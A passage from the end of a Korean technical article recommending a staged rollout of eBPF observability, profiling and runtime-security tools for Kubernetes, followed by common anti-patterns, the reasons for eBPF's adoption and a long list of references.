**Cilium + Hubble**로 시작한다. CNI를 바꾸는 것이 단기적으로 가장 큰 변화지만, 장기적으로 가장 큰 보상을 준다. 신규 클러스터라면 무조건 Cilium.

2단계 — APM이 없다, 또는 비싸다

**Beyla** (OTel 친화) 또는 **Pixie** (인메모리 쿼리) 를 한 클러스터에 깔아본다. 한 달 안에 "어떤 서비스가 느린지"가 보인다.

3단계 — 프로파일링 데이터가 필요하다

**Parca** 또는 **Grafana Pyroscope**를 깐다. Go/Rust/Java 워크로드에서 CPU 핫스팟이 즉시 보인다. AI 인프라처럼 CPU/메모리가 비싼 워크로드에서 효과가 크다.

4단계 — 런타임 보안이 필요하다

**Falco**로 시작한다. 룰셋이 풍부하고 설치가 쉽다. 실시간 차단이 정말로 필요하면 **Tetragon**을 추가로.

5단계 — k8s 디버깅이 잦다

**Inspektor Gadget**을 kubectl 플러그인으로 설치한다. `kubectl gadget trace exec` 같은 명령을 일상적으로 쓰게 된다.

6단계 — 자원/전력 모니터링이 필요하다

**Kepler**로 전력 측정. **Coroot**로 자동 추론 대시보드.

7단계 — 트러블슈팅 도구

**BCC + bpftrace**는 항상 설치. SSH로 들어가서 즉석 디버깅할 때.

안티패턴

- **모든 도구를 다 깐다** — 리소스 오버헤드 누적, 운영 부담. 도구당 노드 메모리 100–500MB 가산

- **CO-RE 미지원 옛 커널** — Linux 5.4 미만이라면 업그레이드 우선

- **BTF 없는 커널** — `/sys/kernel/btf/vmlinux`가 없으면 BTFHub 의존

- **privileged DaemonSet 남발** — CAP_BPF, CAP_PERFMON, CAP_NET_ADMIN을 명시적으로 부여, root 회피

- **자동 차단을 너무 빨리 켬** — Tetragon의 Sigkill 액션은 잘못 짜면 멀쩡한 프로세스를 죽인다. 일단 알림 모드로 운영 → 패턴 확인 → 차단 모드

마무리 — eBPF가 인프라 엔지니어링의 디폴트 도구가 된 이유

eBPF가 폭발적으로 성장한 이유는 분명하다.

1. **CO-RE 덕에 운영이 쉬워졌다** — 커널 헤더, 컴파일러가 필요 없다

2. **안전성** — verifier가 보장하는 격리는 커널 모듈로는 못 했던 일이다

3. **성능** — 후크 비용이 통상 100ns 미만, 운영 환경에서 항상 켜둘 수 있다

4. **표준화** — OpenTelemetry로 데이터 모델이 수렴, CNCF가 도구 보증

5. **다언어** — 같은 에이전트 하나로 Go, Rust, C++, Python, Java 다 본다

2026년의 인프라 엔지니어가 eBPF를 모르고 일하는 것은, 2016년의 인프라 엔지니어가 Docker를 모르고 일하는 것과 비슷해졌다. 책 한 권 (Liz Rice의 "Learning eBPF" 또는 Brendan Gregg의 "BPF Performance Tools") 을 읽고, 클러스터 하나에 Cilium + Hubble + Beyla를 깔아보는 것에서 시작하자.

> "We instrumented production with eBPF and discovered three latency issues that had been there for two years. We never had to add a single log line." — Lyft Engineering, 2024

참고 / References

- [eBPF 공식 사이트](https://ebpf.io/)

- [eBPF Foundation](https://ebpf.foundation/)

- [Linux Kernel BPF 문서](https://docs.kernel.org/bpf/)

- [libbpf GitHub](https://github.com/libbpf/libbpf)

- [bpftool GitHub](https://github.com/libbpf/bpftool)

- [CO-RE 가이드 — Andrii Nakryiko 블로그](https://nakryiko.com/posts/bpf-portability-and-co-re/)

- [Liz Rice — Learning eBPF (O'Reilly, 2023)](https://www.oreilly.com/library/view/learning-ebpf/9781098135119/)

- [Brendan Gregg — BPF Performance Tools (Addison-Wesley, 2019)](https://www.brendangregg.com/bpf-performance-tools-book.html)

- [Brendan Gregg — Systems Performance 2nd ed.](https://www.brendangregg.com/systems-performance-2nd-edition-book.html)

- [Pixie 공식](https://px.dev/)

- [Pixie GitHub](https://github.com/pixie-io/pixie)

- [Parca 공식](https://www.parca.dev/)

- [Polar Signals 블로그](https://www.polarsignals.com/blog)

- [Cilium 공식](https://cilium.io/)

- [Hubble GitHub](https://github.com/cilium/hubble)

- [Tetragon 공식](https://tetragon.io/)

- [Tetragon GitHub](https://github.com/cilium/tetragon)

- [BCC GitHub](https://github.com/iovisor/bcc)

- [bpftrace GitHub](https://github.com/bpftrace/bpftrace)

- [OpenTelemetry eBPF GitHub](https://github.com/open-telemetry/opentelemetry-ebpf)

- [Grafana Beyla 공식](https://grafana.com/oss/beyla-ebpf/)

- [Grafana Beyla GitHub](https://github.com/grafana/beyla)

- [Grafana Pyroscope](https://grafana.com/oss/pyroscope/)

- [Coroot 공식](https://coroot.com/)

- [Coroot GitHub](https://github.com/coroot/coroot)

- [Inspektor Gadget 공식](https://www.inspektor-gadget.io/)

- [Kepler 공식](https://sustainable-computing.io/)

- [Kepler GitHub](https://github.com/sustainable-computing-io/kepler)

- [Falco 공식](https://falco.org/)

- [Falco GitHub](https://github.com/falcosecurity/falco)

- [eBPF for Windows GitHub](https://github.com/microsoft/ebpf-for-windows)

- [Asahi Linux](https://asahilinux.org/)

- [Sched_ext 공식](https://sched-ext.com/)

- [BTFHub — 옛 커널용 BTF](https://github.com/aquasecurity/btfhub)

- [Toss SLASH 24 — Cilium 도입 사례 발표](https://toss.tech/slash-24)

- [LINE Engineering 블로그](https://engineering.linecorp.com/ko)

- [Mercari Engineering 블로그](https://engineering.mercari.com/)

- [eBPF Summit](https://ebpf.io/summit-2024/)

- [CNCF Landscape — Observability and Analysis](https://landscape.cncf.io/)

- [Isovalent (Cisco) 블로그](https://isovalent.com/blog/)